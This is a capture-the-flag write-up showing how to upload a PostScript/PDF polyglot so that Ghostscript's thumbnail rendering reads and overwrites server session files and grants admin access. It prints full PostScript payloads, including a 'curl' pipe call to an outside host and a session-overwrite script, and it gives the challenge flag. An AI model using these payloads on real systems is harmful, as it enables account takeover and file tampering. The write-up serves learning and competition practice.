Author: grayzray
Files:
chall.zip— download from the original Discord thread.
From Dusk till Dawn 2026 qualifiers - Library of Alexandria
Author: @b0n0b0
Description
Sharing knowledge, reading books, and all that nerdy stuff. I know you love that
chall.zip
Flag format: DAJEROMA{…} Flag: DAJEROMA{if_y0u_l0v3_sci-fi_y0u_sh0uld_r34d_judg3_4nd3rs0n_sh4mb4ll4!_if_y0u_w4n7_70_y4p_4b0u7_sci-fi_find_m3_4nd_ch47_wi7h_m3!}
Writeup
We’re given source code for a website. After launching the website, we see a simple interface:

The website is a simple PDF file storage that displays thumbnails of uploaded PDF files. After inspecting the source code, we can see that the goal of this challenge is to gain access to the admin session:

Digging deeper into the source code, we see that /api/my-books queries the database for books under a user id of the current session. As long as you get session.user.id = 1, you will have access to the admin books.

The vulnerability lies in the validation of PDF files. At first, I saw this function:

It seems as though the app only checks if the file extension is “.pdf” and the mimetype “application/pdf”, so initially, I tried to upload an executable file where i changed the extension to be .pdf, but this came up:

This happens because the PDFDocument.load() method from pdf-lib crashes if no PDF header is present in the PDF file:

Error: Failed to parse PDF document (line:28 col:15946 offset=16860): No PDF header found
pdf-lib’s parser checks for a PDF header anywhere in the file, so as long as my file included “%PDF-1.4”, it would be accepted and stored in the database.

At this point, I needed to get a script to run. The app uses ‘pdf2pic’ to get the thumbnails for each pdf. This library uses GraphicsMagick/Ghostscript under the hood. Since ghostscript is an interpreter for PostScript and PDF files, we can make a PS script to look for vulnerabilities. As long as our uploaded file starts with ”%!PS”, Ghostscript will interpret it as a postscript file and execute the script in it. We also need to make sure our file has the “%PDF-1.4” header somewhere so it is accepted to the database. The first test script was this:
%!PS
%PDF-1.4
(%pipe%curl http://{my-domain}) (r) file
showpage
This script would, ideally, fetch my server and confirm that command execution is possible. However, modern versions of Ghostscript run with the -dSAFER flag (which disables most postscript functions, including pipe) by default. The website displayed a book emoji, which is used as a fallback, when I uploaded this script.

The actual exploit comes from the fact that Ghostscript allows reading/writing files to /tmp/. We can see in the source code that session files live in “/tmp/sessions”:
const sessionsDir = ‘/tmp/sessions’;
We also know that overwriting our session to have session.user.id=1 is enough to gain access to admin books. With this PS script, we can list /tmp/*.json in the thumbnail of a PDF:
%!PS
%PDF-1.4
/Times-Roman findfont
8 scalefont
setfont
/out 8192 string def
/idx 0 def
/addline {
/s exch def
out idx s putinterval
/idx idx s length add def
out idx (\n) putinterval
/idx idx 1 add def
} def
(/tmp/*) {
addline
} 1024 string filenameforall
50 750 moveto
out 0 idx getinterval show
showpage

This confirms that session files are named after your session cookie. We can inspect a file with this script:
%!PS
%PDF-1.4
/Times-Roman findfont
8 scalefont
setfont
/buf 16384 string def
(/tmp/sessions/{session_id}.json) (r) file
buf
readstring
pop
50 700 moveto
show
showpage

Knowing all of this, I wrote the final script, that overwrites session.user.id to be 1:
%!PS
%PDF-1.4
(/tmp/sessions/{session_id}.json) (w) file
dup ({"cookie":{"originalMaxAge":86400000,"expires":"2026-12-31T23:59:59.000Z","httpOnly":true,"path":"/"},"user":{"id":1,"username":"admin"}}) writestring
closefile
/Courier findfont 14 scalefont setfont
50 700 moveto
(Overwrite Attempted) show
showpage
Uploading this as “exploit.pdf” gives you access to the “Welcome.pdf” book with the flag:
